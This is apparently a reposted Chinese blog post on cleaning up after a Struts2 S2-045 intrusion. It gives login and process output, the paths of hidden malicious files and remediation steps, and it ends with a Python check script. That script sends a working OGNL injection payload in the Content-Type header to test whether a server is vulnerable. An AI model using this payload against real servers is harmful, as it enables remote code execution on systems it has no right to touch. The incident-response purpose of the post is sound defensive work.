wclog pts/0 10.8.1.158 Tue Mar 14 02:17 - 02:47 (00:30)
wclog pts/0 10.8.1.158 Tue Mar 14 01:47 - 02:17 (00:30)
wclog pts/0 10.8.1.158 Tue Mar 14 01:17 - 01:47 (00:30)
wclog pts/0 10.8.1.158 Tue Mar 14 00:47 - 01:17 (00:30)
wclog pts/0 10.8.1.158 Tue Mar 14 00:17 - 00:47 (00:30)
sshd在线情况
[root@app130-33 bin]# w
14:38:45 up 105 days, 2:57, 6 users, load average: 11.31, 12.82, 13.96
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 10.8.0.242 13:42 26.00s 6:01 0.39s -bash
root pts/1 10.8.0.14 13:46 3:15 0.11s 0.11s -bash
root pts/2 192.168.10.47 14:36 2.00s 0.03s 0.03s -bash
root pts/3 10.8.0.6 13:58 41.00s 0.06s 0.06s -bash
root pts/6 10.8.0.118 14:05 2:46 0.30s 0.30s -bash
root pts/8 192.168.10.86 14:10 0.00s 0.30s 0.00s w
杀掉可以进程，中断***活动
[root@app130-33 bin]# kill -9 336 415 539 975 976 980 7601 18785 18894 23720
查***文件的时间
[root@app130-33 tmp]# stat .lz1489471809
File: ".lz1489471809"
Size: 727556 Blocks: 1424 IO Block: 4096 普通文件
Device: 801h/2049d Inode: 1703943 Links: 1
Access: (0777/-rwxrwxrwx) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2017-03-14 14:10:11.719101612 +0800
Modify: 2017-03-11 20:27:26.000000000 +0800
Change: 2017-03-14 14:10:11.701101612 +0800
[root@app130-33 tmp]# stat /jboss-4.2.3/bin/zou
File: "/jboss-4.2.3/bin/zou"
Size: 1223123 Blocks: 2392 IO Block: 4096 普通文件
Device: 801h/2049d Inode: 1839010 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2017-03-14 14:03:13.938101936 +0800
Modify: 2017-03-14 14:03:12.907101936 +0800
Change: 2017-03-14 14:44:23.231100024 +0800
[root@app130-33 tmp]# stat /usr/bin/.sshd
File: "/usr/bin/.sshd"
Size: 1223123 Blocks: 2392 IO Block: 4096 普通文件
Device: 801h/2049d Inode: 298354 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2017-03-14 14:03:22.632101929 +0800
Modify: 2017-03-14 14:03:21.593101930 +0800
Change: 2017-03-14 14:03:21.593101930 +0800
[root@app130-33 tmp]# stat /tmp/moni.lod
File: "/tmp/moni.lod"
Size: 5 Blocks: 8 IO Block: 4096 普通文件
Device: 801h/2049d Inode: 1703947 Links: 1
Access: (0777/-rwxrwxrwx) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2017-03-14 14:26:49.952100839 +0800
Modify: 2017-03-14 14:03:23.011101928 +0800
Change: 2017-03-14 14:10:09.624101613 +0800
[root@app130-33 tmp]# stat /etc/.zl
File: "/etc/.zl"
Size: 727556 Blocks: 1424 IO Block: 4096 普通文件
Device: 801h/2049d Inode: 1450898 Links: 1
Access: (0777/-rwxrwxrwx) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2017-03-14 13:31:28.539103410 +0800
Modify: 2017-03-11 20:27:26.000000000 +0800
Change: 2017-03-14 13:31:28.489103410 +0800
[root@app130-33 tmp]# stat /etc/.System
File: "/etc/.System"
Size: 1820918 Blocks: 3560 IO Block: 4096 普通文件
Device: 801h/2049d Inode: 1450903 Links: 1
Access: (0777/-rwxrwxrwx) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2017-03-14 13:32:05.150103382 +0800
Modify: 2017-03-14 01:30:04.000000000 +0800
Change: 2017-03-14 13:32:05.149103382 +0800
[root@app130-33 tmp]# stat /tmp/dbuspm-session
stat: 无法获取"/tmp/dbuspm-session" 的文件状态(stat): 没有那个文件或目录
[root@app130-33 tmp]# stat /etc/.yam
File: "/etc/.yam"
Size: 3867096 Blocks: 7560 IO Block: 4096 普通文件
Device: 801h/2049d Inode: 1450905 Links: 1
Access: (0777/-rwxrwxrwx) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2017-03-14 13:45:01.844102781 +0800
Modify: 2017-02-23 03:24:45.000000000 +0800
Change: 2017-03-14 13:44:44.652102794 +0800
[root@app130-33 tmp]# stat /root/myout.file
File: "/root/myout.file"
Size: 21706 Blocks: 56 IO Block: 4096 普通文件
Device: 801h/2049d Inode: 1190862 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2017-03-14 14:38:03.267100318 +0800
Modify: 2017-03-14 14:47:42.544099870 +0800
Change: 2017-03-14 14:47:42.544099870 +0800
[root@app130-33 tmp]# stat /tmp/gates.lod
File: "/tmp/gates.lod"
Size: 5 Blocks: 8 IO Block: 4096 普通文件
Device: 801h/2049d Inode: 1703940 Links: 1
Access: (0777/-rwxrwxrwx) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2017-03-14 14:03:16.205101934 +0800
Modify: 2017-03-14 14:03:16.205101934 +0800
Change: 2017-03-14 14:10:09.624101613 +0800

问题分析：已经确认漏洞点是在struts2，在几个确定的版本中，struts2会执行http请求header的content-type中的代码，

***者可以直接利用这个漏洞在应用所在的服务器上篡改各种命令，生成各种***，从而导致应用所在的服务器轮为DDOS的肉鸡或挖矿工具，更为甚者导致数据泄露。

解决方案:

1. 根据***的特征，编写相应的脚本每分钟做扫描，定时终止***进程，保证***没有可执行环境。

2. 根据***目前***的位置，定时删除相应目录下的可执行文件，保证***没有可执行的内容。

3. 降低jboss进程在操作系统的权限，改为非root用户启动，预防被攻入后***可以随意在系统篡改内容。

4. 根据apache官方和安全网站的建议，修改struts2对于content-type执行的判断，拒绝非法内容的执行。

5. 升级struts2的版本到制定版本

附件：struts2检测脚本

import requests
import sys
 
def poc(url):

    payload = "%{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"

    headers = {}

    headers["Content-Type"] = payload

    r = requests.get(url, headers=headers)

    if "105059592" in r.content:

        return True
 

    return False



if __name__ == '__main__':

##    if len(sys.argv) == 1:
##
##        print "python s2-045.py target"
##
##        sys.exit()

    if poc("http://www.XXXXX.com/XXX/"):

        print "vulnerable"

    else:

        print "not vulnerable"

参考资料：

http://8btc.com/article-1880-1.html

https://www.secpulse.com/archives/56570.html

转载于:https://blog.51cto.com/strongit/1907248

本文链接：https://blog.csdn.net/weixin_34199335/article/details/92282401

原作者删帖不实内容删帖广告或垃圾文章投诉

智能推荐

UML 对象图、时序图、活动图、状态图、协作图、包图、组件图及部署图_公司和部门的对象图-程序员宅基地

文章浏览阅读6.8k次，点赞3次，收藏55次。UML 对象图、时序图、活动图、状态图、协作图、包图、组件图及部署图目录对象图时序图活动图状态图协作图包图组件图部署图对象图对象图是类图的一个实例，用于显示系统执行时的一个可能的快照，即在某一个时间上系统可能出现的样子，对象图用带下划线的对象名称来表示对象.表现对象的特征对象图展现了多个对象的特征及对象之间的交互时序图对象：时序图中对象使用矩形表示，并且对象名称下有下划线将对象置于时序图的顶部说明在交互开始时对象就已经存在了。如_公司和部门的对象图

阿里云服务器 nginx公网IP无法访问浏览器_ecs nginx 无法访问-程序员宅基地

文章浏览阅读1.4w次，点赞23次，收藏26次。转载自：https://blog.csdn.net/LJFPHP/article/details/78670459一、开始找原因在浏览器输入：http://ip，正常的话，会有页面，welcome to nginx 我这里是浏览器访问失败，查找原因：1、在服务器上访问Ip执行：curl http://ip 结果：超时，未连接成功查看nginxaccess.log日志，发现日志未滚动，代表本机访问..._ecs nginx 无法访问

《Reids 设计与实现》第十六章集群（下）_为什么不直接向节点广播publish命令-程序员宅基地

文章浏览阅读1.5k次。《Reids 设计与实现》第十六章集群（下）_为什么不直接向节点广播publish命令

@GetMapping和@RequestMapping_getmapping 地址不使用requestmapping-程序员宅基地

文章浏览阅读1.2k次。Spring的复杂性不是来自于它处理的对象，而是来自于自身，不断演进发展的Spring会带来时间维度上复杂性，比如SpringMVC以前版本的。 @RequestMapping ，到了新版本被下面新注释替代，相当于增加的选项：@GetMappingGetMapping 注解已经默认封装了@RequestMapping(method = RequestMethod.GET)所以，比前文使用 @RequestMapping(path = “/{city_id}/{user_id}”,method _getmapping 地址不使用requestmapping

常用邮箱的 IMAP/POP3/SMTP 设置-程序员宅基地

文章浏览阅读1.9w次。通过网上查找的资料和自己的总结完成了下面的文章，看完之后相信大家对这三种协议会有更深入的理解。如有错误的地方望指正。POP3POP3是Post Office Protocol 3的简称，即邮局协议的第3个版本,它规定怎样将个人计算机连接到Internet的邮件服务器和下载电子邮件的电子协议。它是因特网电子邮件的第一个离线协议标准,POP3允许用户从服务器上把邮件存储到本地主机（即自己的计算...

MurmurHash一致性Hash算法JAVA版-程序员宅基地

文章浏览阅读7.7k次。一.背景介绍MurmurHash算法：高运算性能，低碰撞率，由Austin Appleby创建于2008年，现已应用到Hadoop、libstdc++、nginx、libmemcached等开源系统。2011年Appleby被Google雇佣，随后Google推出其变种的CityHash算法。官方只提供了C语言的实现版本。 Java界中Redis，Memcached，Cassandra，..._java的murmurhash

随便推点

VS配置PCL全网最简单的方法（vcpkg一步到位）_vs 配置vcpkg pcl-程序员宅基地

文章浏览阅读7.2k次，点赞13次，收藏58次。一、安装vcpkg 进入安装地址（https://github.com/Microsoft/vcpkg)下载压缩包，如下图所示，然后解压到任意一个文件夹，我直接放入了D盘根目录(D:\vcpkg-master) 然后打开cmd，进入vcpkg 根目录中，我这里就是D:\vcpkg-master，运行 vcpkg 引导程序：bootstrap-vcpkg.bat 然后等待vcpkg安装完..._vs 配置vcpkg pcl

K-means与K-medoids_kmeans和kmedoids的区别-程序员宅基地

文章浏览阅读1.1k次。K-means(K-均值)由簇中样本的均值代表整个簇，而K-medoids(K-中心点)由处在簇中心区域的某个样本代表整个簇。K-means聚类：基本思想：初始随机给定k个簇中心，按着最近邻原则把待分类样本点分到各个簇中，单后按照平均法重新计算各个簇的质心，从而确定新的簇心，一直迭代，直到簇心的移动小于给定的值，或者达到最大迭代次数。优缺点：优点：1，可扩展性好，算法复杂..._kmeans和kmedoids的区别

UVALive - 4223(hdu 2926)-程序员宅基地

文章浏览阅读82次。---恢复内容开始---题目链接：http://acm.hdu.edu.cn/showproblem.php?pid=2962TruckingTime Limit: 20000/10000 MS (Java/Others)Memory Limit: 32768/32768 K (Java/Others)Total Submission(s): 11428Acc...

Vue中el-table组件的值转换_el-table 值变换-程序员宅基地

文章浏览阅读3.6k次，点赞3次，收藏8次。在el-table组件中,字段值的转换有多种实现方式:1.使用template标签加{{}}表达式使用js方法对字段值进行转换。2.直接使用el-table-column组件中的:formatter属性使用js方法对值进行转换。示例代码<el-table-column label="货物状态" align="left" prop="status" width="80px"> <template slot-scope="scope"> <span&._el-table 值变换

SPFA求最短路并保存最短路径_带路径保存的spfa,保存所有最短路径-程序员宅基地

文章浏览阅读1.1k次。#include <iostream>#include <cstdio>#include <cstring>#include <cmath>#include <vector>#include <queue>#include <algorithm>using namespace std;const _带路径保存的spfa,保存所有最短路径

Mac笔记本插上电源后无法充电，拔掉电源后依然显示【充电中】，解决方法重置SMC_mac 拔掉电源电池显示插头标志-程序员宅基地

文章浏览阅读6.4k次。现象：Mac笔记本插上电源后无法充电，拔掉电源后依然显示【充电中】解决方法：苹果官方给出了一种可能的解决方案，如下：请按照以下步骤重置 SMC：将 Mac 关机。在内建键盘上，按住以下所有按键。Mac 可能会开机。键盘左侧的Control 键盘左侧的Option(Alt) 键盘右侧的Shift 按住全部三个按键7 秒钟，然后在不松开按键的情况下按住电源按钮。如果 Mac 处于开机状态，它将在您按住这些按键时关机。继续按住全部四个按键7 秒钟，然后松开这些..._mac 拔掉电源电池显示插头标志